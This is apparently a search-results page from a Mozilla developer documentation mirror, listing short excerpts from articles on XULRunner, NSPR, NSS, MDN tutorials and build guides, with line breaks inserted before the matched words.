from a command prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation.
... to remove all installed versions of xulrunner, remove the /library/
frameworks/xul.
framework directory.
... installing xul applications xul applications can be obtained
from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi.
...And 3 more matches
calICalendarView - Archive of obsolete content
notice that a calicalendarview does not contain any additem or re
fresh methods.
...the view is
free to show other days as well.
... setdaterange void setdaterange(in calidatetime astartdate, in calidatetime aenddate); ensures that the entire range of dates
from astartdate to aenddate is visible.
...And 3 more matches
NPVariant - Archive of obsolete content
boolean npvarianttype_bool number npvarianttype_int32 or npvarianttype_double string npvarianttype_string all other types npvarianttype_object functions npn_releasevariantvalue() npn_getstringidentifier() npn_getstringidentifiers() npn_getintidentifier() npn_identifierisstring() npn_utf8
fromidentifier() npn_int
fromidentifier() macros plugin developers are not expected to directly manipulate or access the members of the npvariant instance, instead, the function npn_releasevariantvalue(), and the following macros are provided: npvariant_is_void() evaluates to true if v is of type npvarianttype_void.
... npvariant_to_boolean() extracts the boolean value
from v.
... npvariant_to_int32() extracts a signed 32-bit integer value
from v.
...And 3 more matches
Plugins - Archive of obsolete content
to make your plugin scriptable
from web pages, use npruntime.
... plugins can be written completely
from scratch using c apis (usually in c or c++) or they may be built on a plugin
framework such as firebreath, juce, or qtbrowserplugin.
... plugins are different
from extensions, which modify or enhance the functionality of the browser itself.
...And 3 more matches
Sunbird Theme Tutorial - Archive of obsolete content
copy and paste the content
from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:id="just-testing@example.com" em:name="just testing" em:creator="rod whiteley" em:description="a test theme for sunbird" em:homepageurl="...
...copy and paste the content
from here (just one line): skin calendar testing chrome/calendar/ change <tt>testing</tt> to your theme's one-word internal name.
...
from the menu bar, choose tools – themes...
...And 3 more matches
References - Archive of obsolete content
<- previous section: summary of changes you can learn more on using web standards
from these sites (listed in no particular order): what are web standards and why should i use them?
...
from web standards project web standards group
from web standards group web page development: best practices
from apple developer connection mozilla web author faq
from henri sivonen making your web page compatible with mozilla
from nicolás lichtmaier complete css guide
from westciv.com css lessons and tutorials
from alsacreations html and css lessons and tutorials
from htmldog.com preparing for standard-compliant browsers, part 1
from makiko itoh preparing for standard-compliant browsers, part 2
from makiko itoh javascript best practices lists 15 of the most
frequent coding practices which create problems for javascript and dhtml-driven webpages.
... the webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-
free javascript code.
...And 3 more matches
Mozilla XForms Specials - Archive of obsolete content
introduction this article gives an overview of where the mozilla xforms extension deviates
from the official xforms 1.0 specification .
...mixing with ul might suffer
from the same limitation.
...getting to instance element
from a data node in the xforms 1.0 specification there is no way to get to the instance element
from an instance data node.
...And 3 more matches
Windows Media in Netscape - Archive of obsolete content
this differs
from what previous netscape gecko browsers did -- those browsers only supported the netscape-plugin architecture, and not the activex architecture, and thus the markup used for browsers prior to netscape version 7.1 (devedge-temp) was distinct.
...this section covers relevant issues concerning the invocation of methods and properties
from within web pages that are embedding the windows media control.
... detecting successful creation of the control often, usage of activex controls in ie involve the use of the object element along with a codebase attribute that initiates a download of the component if it is missing
from the machine running the web page.
...And 3 more matches
Common causes of memory leaks in extensions - Extensions
while bug 695480 should prevent most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes
from documents which no longer exist.
...consider the following example code that could be part of your browser.xul overlay: gbrowser.addeventlistener("domcontentloaded", function(evt) { var contentdoc = evt.originaltarget; var i = 0; // re
fresh the title once each second setinterval(function() { contentdoc.title = ++i; }, 1000); }, false); one would normally expect that the interval (or timer) would be destroyed as soon as the document unloads, in the same way that event listeners are automatically destroyed.
... however, while this is still true, the window.setinterval() in the example originates
from the outer chrome window (browser.xul) and not
from the content window.
...And 3 more matches
Using the DOM File API in chrome code - Extensions
this only works
from privileged code, so web content can't do it.
... this protects users
from the inherent security risks associated with allowing web content
free access to the contents of their disks.
... if you pass a path to the file constructor
from unprivileged code (such as web content), an exception will be thrown.
...And 3 more matches
Introduction to game development for the Web - Game development
pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and prevent the user
from accidentally sending their input somewhere else, thereby missing important action.
... typed arrays javascript typed arrays give you access to raw binary data
from within javascript; this lets you manipulate gl textures, game data, or anything else, even if it's not in a native javascript format.
... web audio api this api for controlling the playback, synthesis, and manipulation of audio
from javascript code lets you create awesome sound effects as well as play and manipulate music in real time.
...And 3 more matches
Building up a basic demo with Babylon.js - Game development
if you have already worked through our building up a basic demo series with three.js, playcanvas or a-
frame (or you are familiar with other 3d libraries) you'll notice that babylon.js works on similar concepts: camera, light and objects.
... var renderloop = function () { scene.render(); }; engine.runrenderloop(renderloop); we're using the engine's runrenderloop() method to execute the renderloop() function repeatedly on every
frame — the loop will continue to render indefinitely until told to stop.
... var camera = new babylon.
freecamera("camera", new babylon.vector3(0, 0, -10), scene); there are many cameras available in babylon.js;
freecamera is the most basic and universal one.
...And 3 more matches
Bounce off the walls - Game development
it is nice to see our ball moving, but it quickly disappears
from the screen, limiting the fun we can have with it!
...we need to check, on every
frame, whether the ball is touching the top edge of the canvas — if yes, we'll reverse the ball movement so it will start to move in the opposite direction and stay within the visible boundaries.
... remembering that the coordinate system starts
from the top left, we can come up with something like this: if(y + dy < 0) { dy = -dy; } if the y value of the ball position is lower than zero, change the direction of the movement on the y axis by setting it equal to itself, reversed.
...And 3 more matches
Finishing up - Game development
htly more complex logic to it as given below: lives--; if(!lives) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } else { x = canvas.width/2; y = canvas.height-30; dx = 2; dy = -2; paddlex = (canvas.width-paddlewidth)/2; } now, when the ball hits the bottom edge of the screen, we're subtracting one life
from the lives variable.
... drawlives(); improving rendering with requestanimation
frame() now let's work on something that is not connected to the game mechanics, but to the way it is being rendered.
... requestanimation
frame helps the browser render the game better than the fixed
framerate we currently have implemented using setinterval().
...And 3 more matches
Visual JS GE - Game development
the server is based on node.js vs mysql, the client made in four variant on a javascript
frameworks for 2d canvas js , three.js , webgl2 vs glmatrix and 2d canvas with matter.js in typescript to complete the stack.
... installation and setup first of all download visual-js
from bitbucket.
... build_
from_editor_to_visual_js found at server_instance/build_
from_editor_to_visual_js_file.js.
...And 3 more matches
Multiple-column layout - Learn web development
cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </div> columns and
fragmentation the content of a multi-column layout is
fragmented.
...when you turn your content into a multicol container it is
fragmented into columns, and the content breaks to allow this to happen.
...the heading becomes separated
from the text if the columns
fragment between the two.
...And 3 more matches
Responsive design - Learn web development
if the user had a larger or smaller screen than the designer expected, results ranged
from unwanted scrollbars to overly long line lengths, and poor use of space.
...as mobile devices became more powerful and able to display full websites, this was
frustrating to mobile users who found themselves trapped in the site's mobile version and unable to access information they knew was on the full-featured desktop version of the site.
... css grid in css grid layout the
fr unit allows the distribution of available space across grid tracks.
...And 3 more matches
What are browser developer tools? - Learn web development
these tools do a range of things,
from inspecting currently-loaded html, css and javascript to showing which assets the page has requested and how long they took to load.
... opera: developer ➤ developer tools context menu: press-and-hold/right-click an item on a webpage (ctrl-click on the mac), and choose inspect element
from the context menu that appears.
...double-click an element, or right-click it and choose edit as html
from the context menu.
...And 3 more matches
What are hyperlinks? - Learn web development
before the web, it was quite hard to access documents and move
from one to another.
... links stand out
from the surrounding text by being underlined and in blue text.
... deeper dive as we said, a link is a text string tied to a url, and we use links to allow easy jumping
from one document to another.
...And 3 more matches
The HTML5 input types - Learn web development
because html form control appearance may be quite different
from a designer's specifications, web developers sometimes build their own custom form controls.
...note that the clear icon only appears if the field has a value, and, apart
from safari, it is only displayed when the field is focused.
... the following screenshot (
from firefox for android) provides an example: with the number input type, you can constrain the minimum and maximum values allowed by setting the min and max attributes.
...And 3 more matches
How the Web works - Learn web development
this theory is not essential to writing web code in the short term, but before long you'll really start to benefit
from understanding what's happening in the background.
...when a client device wants to access a webpage, a copy of the webpage is downloaded
from the server onto the client machine to be displayed in the user's web browser.
...on the other end of the road is the server, which is a shop you want to buy something
from.
...And 3 more matches
HTML table basics - Learn web development
tables are very commonly used in human society, and have been for a long time, as evidenced by this us census document
from 1800: it is therefore no wonder that the creators of html provided a means by which to structure and present tabular data on the web.
... data about the planets of our solar system (planetary facts taken
from nasa's planetary fact sheet - metric.
... name mass (1024kg) diameter (km) density (kg/m3) gravity (m/s2) length of day (hours) distance
from sun (106km) mean temperature (°c) number of moons notes terrestial planets mercury 0.330 4,879 5427 3.7 4222.6 57.9 167 0 closest to the sun venus 4.87 12,104 5243 8.9 2802.0 108.2 464 0 earth 5.97 12,756 5514 9.8 24.0 149.6 15 1 our world mars 0.642 6,792 3933 3.7 24.7 227.9 -65 2 the red planet jovian planets gas giants jupiter 1898 142,984 1326 23.1 9.9 778.6 -110 67 the largest planet saturn 568 120,536 687 9.0 10.7 1433.5 -140 ...
...And 3 more matches
Video and Audio APIs - Learn web development
in our javascript later on, we will set the controls to visible, and remove the controls attribute
from the <video> element.
... next, insert the following at the bottom of your code: media.removeattribute('controls'); controls.style.visibility = 'visible'; these two lines remove the default browser controls
from the video, and make the custom controls visible.
...this would cause strange behaviour, so if this is the case we stop the video playing by calling stopmedia(), remove the active class
from the rewind button, and clear the intervalrwd interval to stop the rewind functionality.
...And 3 more matches
Silly story generator - Learn web development
if the online editor you are using doesn't have a separate javascript panel, feel
free to put it inline in a <script> element inside the html page.
...in addition you've got a function called randomvalue
fromarray() that takes an array, and returns one of the items stored inside the array at random.
... create three new variables called xitem, yitem, and zitem, and make them equal to the result of calling randomvalue
fromarray() on your three arrays (the result in each case will be a random item out of each array it is called on).
...And 3 more matches
JavaScript object basics - Learn web development
try entering the following line below the javascript code that's already in your file, then saving and re
freshing: const person = {}; now open your browser's javascript console, enter person into it, and press enter/return.
...i\'m ' + this.name[0] + '.'); } }; after saving and re
freshing, try entering some of the following into the javascript console on your browser devtools: person.name person.name[0] person.age person.interests[1] person.bio() person.greeting() you have now got some data and functionality inside your object, and are now able to access them with some nice simple syntax!
...this is in contrast to objects instantiated
from classes, which we'll look at later on.
...And 3 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
previous overview: client-side javascript
frameworks next now it's time to start tackling the footer functionality in our app.
... because we need access to our service
from the footer component, we need to generate a class for the footer.
... enter the following terminal command to do so: ember generate component-class footer next, go and find the newly-created todomvc/app/components/footer.js file and update it to the following: import component
from '@glimmer/component'; import { inject as service }
from '@ember/service'; export default class footercomponent extends component { @service('todo-data') todos; } now we need to go back to our todo-data.js file and add some functionality that will allow us to return the number of incomplete todos (useful for showing how many are left), and clear the completed todos out of the list (which is what the “clear completed” functionality needs).
...And 3 more matches
Beginning our React todo list - Learn web development
previous overview: client-side javascript
frameworks next let's say that we’ve been tasked with creating a proof-of-concept in react – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them.
... our app's user stories in software development, a user story is an actionable goal
from the perspective of the user.
... we're not going to write per-component stylesheets, so first delete the app.css import
from the top of app.js.
...And 3 more matches
Starting our Svelte Todo list app - Learn web development
previous overview: client-side javascript
frameworks next now that we have a basic understanding of how things work in svelte, we can start building our example app: a todo list.
... create a file named src/components/todos.svelte with the following content: <h1>svelte to-do list</h1> change the title element in public/index.html to contain the text svelte to-do list: <title>svelte to-do list</title> open src/app.svelte and replace its contents with the following: <script> import todos
from './components/todos.svelte' </script> <todos /> in development mode, svelte will issue a warning in the browser console when specifying a prop that doesn't exist in the component; in this case we have a name prop being specified when we instantiate the app component inside src/main.js, which isn't used inside app.
...to get rid of this, remove the name prop
from src/main.js; it should now look like so: import app
from './app.svelte' const app = new app({ target: document.body }) export default app now if you check your testing server url you'll see our todos.svelte component being rendered: adding static markup for the moment we will start with a static markup representation of our app, so you can see what it will look like.
...And 3 more matches
Software accessibility: Where are we today?
this can come in the form of hard copy braille printed on braille embossers, or
from a re
freshable braille display (see below).
... re
freshable braille displays of various sizes a braille embosser audio- and braille- based user interfaces are concepts that software designers are historically untrained for.
...only small pieces of sequential, non-graphical information can be conveyed - via text-to-speech or a re
freshable braille display.
...And 3 more matches
Testopia
the good news is that the current code in the git repository already works with bugzilla 5.0, and so if you upgraded to 5.0 already, and if you don't mind having a work-in-progress extension on your machine, you can decide to pull the code
from the git repository.
... if you find bugs in the code available
from the git repository, please report it to us so that we can fix most critical ones on time for testopia 3.0.
...a
fresh install only requires that you untar the tarball in your bugzilla root directory and run checksetup.
...And 3 more matches
Command line options
in general, the syntax is as follows: application -option -option "argument" -option argument examples the following examples show the use of the "-profilemanager" command, which will open the profile manager prior to starting firefox or thunderbird: windows select run
from windows start menu.
... note: on mac os x specifying a relative path is not supported anymore
from firefox 4.0 and up due to a regression, see bug 673955.
... "c:\program files\mozilla xulrunner\1.8.0.4\xulrunner\xulrunner.exe" --install-app "c:\users\billdo\desktop\myapplication.xpi" /opt/xulrunner/1.8.0.4/xulrunner/xulrunner --install-app ~/desktop/myapplication.xulapp /library/
frameworks/xul.
framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi --register-global registers xulrunner on the system for all users.
...And 3 more matches
Capturing a minidump
install debugging tools for windows microsoft distributes the debugging tools for windows for
free, those include windbg which you will need here.
... download it
from install debugging tools for windows.
... if firefox is not already running, then open windbg
from the start menu (start->all programs->debugging tools for windows->windbg).
...And 3 more matches
Simple Instantbird build
get the latest source code
from mozilla's comm-central mercurial code repository: hg clone http://hg.mozilla.org/comm-central then, get all the repositories it depends on.
... the source code requires 1.5gb of
free space or more.
...if that's not exactly what you want, there are many build configuration options to choose
from, although it's strongly recommended that you only use options that you fully understand.
...And 3 more matches
Simple Thunderbird build
windows build prerequisites gnu/linux build prerequisites macos build prerequisites mapi headers on windows: check that the mapi header files
from https://www.microsoft.com/en-us/download/details.aspx?id=12905 are installed because the mapi header files (except mapi.h) are not bundled with visual studio 2017 (windows sdk 10).
... get the latest mozilla source code
from mozilla's mozilla-central mercurial code repository, and check it out into a local directory source/ (or however you want to call it).
... then, get the latest thunderbird source code
from mozilla's comm-central mercurial code repository.
...And 3 more matches
Commenting IDL for better documentation
doxygen is a system of generating documentation
from source code.
... the documentation team has tools that convert comments
from the doxygen format into the standard reference article format we use here on mdn, with certain limitations.
...nested lists should be indented
from the previous level by two spaces.
...And 3 more matches
mozbrowseropenwindow
the mozbrowseropenwindow event is fired when a new window is required — usually when the content of a browser <i
frame> successfully calls the window.open() method, or the user clicks on a link with an unknown target.
... the embedder must use the <i
frame> passed in the event.details.
frameelement property as the new window content.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
...And 3 more matches
mozbrowsershowmodalprompt
the mozbrowsershowmodalprompt event is fired when the content of a browser <i
frame> calls the window.alert(), window.confirm(), or window.prompt() methods.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... message a domstring representing the value passed to the window.alert(), window.confirm(), or window.prompt() methods within the browser <i
frame>'s content.
...And 3 more matches
Gecko SDK
be accessed
from xul using javascript.
...firefox, since you do not access parts of the
front end
from within a component.
...the gecko sdk is a collection of header files and tools used to develop general xpcom components which add functionality to the existing platform, whereas xulrunner is a
framework which can be used to run standalone or embedded applications based on the mozilla
framework.
...And 3 more matches
Getting Started with Chat
note that on 2nd march 2020, mozilla moved away
from irc to matrix for its public channels, the irc server was shut down.
... mozilla's channels are most active between 9am and 7pm pst monday to
friday, excluding us holidays.
... user /nick nickname change your current nickname nickname: ping get a user's attention (nickname is the name of the user you want the attention of) nickname: pong respond to a user's ping (nickname is the name of the user who wants your attention) /query nickname opens a private chat with the specified user /quit message disconnects you
from the current server displaying the message in all connected channels prior to quitting /reload styles some irc clients, colloquy on mac in particular, stop displaying your messages in the channel window.
...And 3 more matches
DownloadTarget
method overview promise re
fresh() properties attribute type description exists read only boolean indicates whether or not the target file exists.
... this is a dynamic property, which is updated when the download is completed or when the download.re
fresh() method is called.
... this is a dynamic property, which is updated when the download finishes or whenever the download.re
fresh() method is called.
...And 3 more matches
XPCOMUtils.jsm
// will be automatically returned
from queryinterface if that was // generated with the generateqi helper.
... return value an nsiclassinfo implementation returning the values of the properties
from the classinfo parameter in its various properties.
... remarks when you implement an interface that inherits
from another one, you should generally list all the base interfaces explicitly, except for nsisupports.
...And 3 more matches
Localization sign-off reviews
the merge date for migrating
from one product release channel to the next is rapidly approaching.
...here is a detailed overview of what a sign-off review is and who it's meant for: a sign-off review: is performed as a qa measure for maintaining a localization
from release-to-release.
...most bugs filed
from sign-offs are caused by a tool corrupting your localization's files.
...And 3 more matches
Localization technical reviews
the merge date for migrating
from one product release channel to the next (e.g., aurora to beta, or beta to release) is rapidly approaching.
... must be approved prior to migrating your revision
from aurora to beta.
...that being the case, there are some criteria in a technical review that will only ever be considered once, as all reviews after this only evaluate the changes you're adding on top of this revision
from release to release.
...And 3 more matches
Extras
they are not portable and are meant to showcase a few interesting upshots
from building natively upon the browser environment.
...the title attribute as a tooltip (
from xhtml) html content <p>mouse over either log to see a tooltip showing the title <math display="block"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <m
frac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </m
frac> </mrow> </math> rather than repeating the instructions, some css might be used to provide a visual cue.
... for example with the style rule: <code style="white-space: nowrap;">*[title] { color: blue; }</code> <math class="cue" display="block"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <m
frac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </m
frac> </mrow> </math> </p> css content math.cue *[title] { color: blue; } mixing with other markups html content <math display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext> <img width="16" height="16" src="https://udn.realityripple.com/samples/3f/9341cbddc0.png" alt="mozilla-16" /> </mtext> <...
...And 3 more matches
Activity Monitor, Battery Status Menu and top
task_power_info::task_platform_idle_wakeups obtained
from the task_info function.) in mac os 10.10 it appears to have been changed to measure interrupt-level wakeups (a superset of idle wakeups), which are less interesting.
...task_power_info::task_interrupt_wakeups obtained
from the task_info function.) requires high perf gpu: many macs have two gpus: a low-power, low-performance integrated gpu, and a high-power, high-performance external gpu.
...careful investigation indicates that on mac os 10.10 and 10.11 it is computed with a formula that is machine model-specific, and includes the following factors: cpu usage, wakeup
frequency, quality of service class usage, and disk, gpu, and network activity.
...And 3 more matches
TimerFirings logging
the above example shows only timers
from c++ within gecko.
...they can come
from chrome code within firefox, or
from web content.
... 2082435840[100445640]: [81190] fn timer (one_shot 8000 ms): [
from dladdr] gfxfontinfoloader::delayedstartcallback(nsitimer*, void*) second, on linux the code uses dladdr to get the symbol library and address, which can be post-processed by tools/rb/fix_stacks.py.
...And 3 more matches
Performance
the articles linked to
from here will help you improve performance, whether you're developing core mozilla code or an add-on.
... documentation reporting a performance problem a user
friendly guide to reporting a performance problem.
... best practices for
front-end engineers tips for reducing impacts on browser performance in
front-end code.
...And 3 more matches
A brief guide to Mozilla preferences
a preference is read
from a file, and can call up to four methods: pref(), user_pref(), sticky_pref() and lockpref().
...this is kept separate
from other preferences because it can affect how updates are applied.
...file a configuration file, usually with .cfg extension, may be called
from a default pref file via the general.config.filename preference.
...And 3 more matches
L20n
a javascript localization
framework to unleash your natural language's power with simple code.
...users should be able to benefit
from the entire expressive power of the natural language.
...l20n lets localizers reach higher levels of
free linguistic expression by sharpening the divide between localization and application logic.
...And 3 more matches
Midas
notes since an entire document becomes editable, authors often load the editable document into an i
frame and do the bulk of the scripting in the parent document.
... according to standards, the i
frame element has the contentdocument property that refers to the document in the inline
frame.
... it also has a property called contentwindow that refers to the window object inside the inline
frame.
...And 3 more matches
NSPR Contributor Guide
abstract: nspr accepts contributions in the form of bugfixes, new features, libraries, platform ports, documentation, test cases and other items
from many sources.
...this means that you cannot give us something you snatched
from somewhere else;.
... it must be your own invention,
free and clear of encumberment of anyone or anything else; pay close attention to the rights of your "day-job" employer.
...And 3 more matches
NSPR's Position On Abrupt Thread Termination
in the natural course of events, these resources will be allocated by a thread, used for some period of time, and then
freed as the stack unwinds.
...all threads must unwind and return
from their root function.
...this process continues until the thread either recovers
from the malady or returns
from the root function.
...And 3 more matches
Memory Management Operations
nspr provides heap-based memory management functions that map to the familiar malloc(), calloc(), realloc(), and
free().
...libraries built on top of nspr, such as the netscape security libraries, use these functions to allocate and
free memory.
... if you are allocating memory for use by such libraries or
freeing memory that was allocated by such libraries, you must use these nspr functions rather than the libc equivalents.
...And 3 more matches
PRIOMethods
type; prclosefn close; prreadfn read; prwritefn write; pravailablefn available; pravailable64fn available64; prfsyncfn fsync; prseekfn seek; prseek64fn seek64; prfileinfofn fileinfo; prfileinfo64fn fileinfo64; prwritevfn writev; prconnectfn connect; pracceptfn accept; prbindfn bind; prlistenfn listen; prshutdownfn shutdown; prrecvfn recv; prsendfn send; prrecv
fromfn recv
from; prsendtofn sendto; prpollfn poll; pracceptreadfn acceptread; prtransmitfilefn transmitfile; prgetsocknamefn getsockname; prgetpeernamefn getpeername; prgetsockoptfn getsockopt; prsetsockoptfn setsockopt; }; typedef struct priomethods priomethods; parameters file_type type of file represented (tos).
... write write specified number of bytes
from buffer.
... writev write
from a vector of buffers.
...And 3 more matches
PRThreadState
syntax #include <prthread.h> typedef enum prthreadstate { pr_joinable_thread, pr_unjoinable_thread } prthreadstate; enumerators pr_unjoinable_thread thread termination happens implicitly when the thread returns
from the root function.
... pr_joinable_thread joinable thread references remain valid after they have returned
from their root function until pr_jointhread is called.
... the lifetime of a thread extends
from the time it is created to the time it returns
from its root function.
...And 3 more matches
NSS 3.14.2 release notes
the release is available for download
from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_2_rtm/src/ for the primary nss documentation pages please visit /docs/nss new in nss 3.14.2 nss will now make use of the intel aes-ni and avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux systems.
... bug 816853 - when using libpkix for certificate validation, applications may now supply additional application-defined trust anchors to be used in addition to those
from loaded security tokens, rather than as an alternative to.
... (https://bugzilla.mozilla.org/show_bug.cgi?id=816853) bug 772144 - basic support for running nss test suites on android devices.this is currently limited to running tests
from a linux host machine using an ssh connection.
...And 3 more matches
NSS 3.18 release notes
nss 3.18 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/ new in nss 3.18 new functionality when importing certificates and keys
from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using new api sec_pkcs12decoderrenamecertnicknames.
... use -c one, two or three times to print information about the certificates received
from a server, and information about the locally found and trusted issuer certificates, to diagnose server side configuration issues.
... sec_getcrltimes - extract the validity times
from a crl.
...And 3 more matches
NSS 3.21 release notes
ickname (bug 1142209) tls extended master secret extension (rfc 7627) is supported (bug 1117022) new info functions added for use during mid-handshake callbacks (bug 1084669) new functions in nss.h nss_optionset - sets nss global options nss_optionget - gets the current value of nss global options in secmod.h secmod_createmoduleex - create a new secmodmodule structure
from module name string, module parameters string, nss specific parameters string, and nss configuration parameter string.
...the returned strings must be
freed by the caller.
... nssutil_mkmodulespecex - take a shared library string, module name string, module parameters string, nss specific parameters string, and nss configuration parameter string and returns a module string which the caller must
free when it is done.
...And 3 more matches
NSS Sample Code Sample_2_Initialization of NSS
stderr, "%-15s specify a password file\n\n", "-f <plainpasswc>"); exit(-1); } /* initialize the slot password */ char *initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_
fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ ...
...r a password which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_
free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_
free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_std...
...try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_memset(p1, 0, port_strlen(p1)); port_
free(p1); } fclose(input); fclose(output); return p0; } /* change the password */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw = null; char *newpw = null; if (oldpass) { pwdata.source = pw_plaintext; pwdata.data = oldpass; } else if (oldpwfile) { pwdata.source = pw_
fromfile; pwdata.data = oldpwfile; } else { pwdata.source = pw_none; pwdata.data = null; } if (newpass) { ...
...And 3 more matches
Initialize NSS database - sample 2
"-p "); fprintf(stderr, "%-15s specify a password file\n\n", "-f "); exit(-1); } /* * initslotpassword */ char * initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_
fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ ...
...r a password which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_
free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_
free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_std...
...try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_memset(p1, 0, port_strlen(p1)); port_
free(p1); } fclose(input); fclose(output); return p0; } /* * changepw */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw = null; char *newpw = null; if (oldpass) { pwdata.source = pw_plaintext; pwdata.data = oldpass; } else if (oldpwfile) { pwdata.source = pw_
fromfile; pwdata.data = oldpwfile; } else { pwdata.source = pw_none; pwdata.data = null; } if (newpass) { newpwdat...
...And 3 more matches
nss tech note1
this is the arena pool
from which the decoder will allocate memory as needed.
...it is only required for dynamically allocating memory for the structure if the template is being included
from an asn.1 sequence or sequence of, or if dynamic allocation was requested
from the parent template using the sec_asn1_pointer modifier here is a description of the various tags and modifiers that apply to the <tt style="color: rgb(0,0,0);">kind field.
...with sec_asn1decodeitem, it can be null, and if so, the decoder will allocate
from the heap using pr_malloc .
...And 3 more matches
nss tech note4
secstatus rv = cert_findcertextensionbyoid(cert, &myoiditem, &myextvalue); if (rv == secsuccess) { sec_asn1decodercontext * context = sec_asn1decoderstart(null, &data, mycertexttemplate); rv = sec_asn1decoderupdate( context, (const char *)(myextvalue.data), myextvalue.len); if (rv == secsuccess) { /* now you can extract info
from secitem fields of your extension data structure */ /* see "misc helper functions" below */ .......
... /*
free the secitem fields */ secitem_
freeitem(&data.version, pr_false); secitem_
freeitem(&data.streetaddress, pr_false); ......
... secitem_
freeitem(&data.maxusers, pr_false); } } some miscellaneous helper functions compare two secitems (e.g., two oids) prbool secitem_itemsareequal(const secitem *a, const secitem *b); interpreting a secitem value as an integer if secitem *item->len <=4, then int value = der_getinteger(item); interpreting a secitem value as a string use string copy functions to copy item->len bytes
from item->data and null terminate explicitly some higher level extension functions get a specific extension
from the list of extensions, given the extension tag secstatus cert_findcertextension (certcertificate *cert, int tag, secitem *value); ...
...And 3 more matches
Invariants
(the jsval encoding depends on this.) the jsstack
frame::down chain never forms a cycle.
... but note that a stack
frame is not necessarily newer than the next stack
frame down, thanks to generators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never forms a cycle.
...even if the function is native, there is serious trouble: js_newobject with null parent argument calculates the parent
from cx->fp->scopechain, which can be stale if we're on trace.) the chain of properties starting at any jsshape and chasing jsshape::parent never forms a cycle and does not contain any duplicate jsscopeproperty::slot values other than -1.
...And 3 more matches
Property cache
in the case of shared permanent properties, this differs
from the notion of "own property" seen by scripts via object.prototype.hasownproperty.
...without this guarantee, every access to a property via a prototype chain would have to recheck each link in the prototype chain, even though assigning to __proto__ is very rare.) adding guarantee — if at time t0 the object x has shape s, and rt->protohazardshape is z, and x does not inherit a jsprop_shared or jsprop_readonly property with name n
